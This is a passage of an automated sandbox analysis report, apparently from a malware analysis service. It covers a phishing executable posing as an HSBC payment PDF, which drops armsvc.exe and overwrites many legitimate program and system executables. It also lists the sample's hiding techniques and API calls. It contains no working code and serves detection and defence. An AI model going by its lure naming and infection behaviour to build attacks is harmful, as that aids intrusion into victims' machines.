Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\TieringEngineService.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Mozilla Firefox\updater.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\kinit.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\policytool.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.ShowHelp.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\7-Zip\Uninstall.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\FXSSVC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File created: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Common Files\microsoft shared\ClickToRun\IntegratedOffice.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\rmiregistry.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Integration\Addons\OneDriveSetup.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.134\elevation_service.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\SensorDataService.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\msdtc.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Common Files\microsoft shared\ClickToRun\appvcleaner.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\wbem\WmiApSrv.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\pack200.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to dropped file
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File created: C:\Windows\System32\alg.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\rmid.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\7-Zip\7zFM.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\klist.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\tnameserv.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Google\Update\Install\{6BB58CDD-A64E-41C8-8D92-79A516D3D118}\117.0.5938.134_117.0.5938.132_chrome_updater.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.134\notification_helper.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\VSSVC.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\wbengine.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.134\117.0.5938.134_117.0.5938.132_chrome_updater.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\SearchIndexer.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\jjs.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\orbd.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.134\chrome_pwa_launcher.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\AgentService.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Google\Chrome\Application\chrome_proxy.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Common Files\microsoft shared\ClickToRun\officesvcmgr.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\OpenSSH\ssh-agent.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\ktab.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe	Jump to dropped file

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\snmptrap.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\Spectrum.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\Locator.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\AgentService.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\VSSVC.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\wbengine.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\wbem\WmiApSrv.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\SearchIndexer.exe	Jump to dropped file
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File created: C:\Windows\System32\AppVClient.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\FXSSVC.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\TieringEngineService.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\vds.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\OpenSSH\ssh-agent.exe	Jump to dropped file
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File created: C:\Windows\System32\alg.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\SysWOW64\perfhost.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\msiexec.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\SensorDataService.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\msdtc.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Creates files inside the volume driver (system volume information)

Source: C:\Windows\System32\TieringEngineService.exe

File created: C:\System Volume Information\Heat\

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_004048D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_004048D7
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_00485376 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_00485376

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Code function: 0_2_00423187 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00423187

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
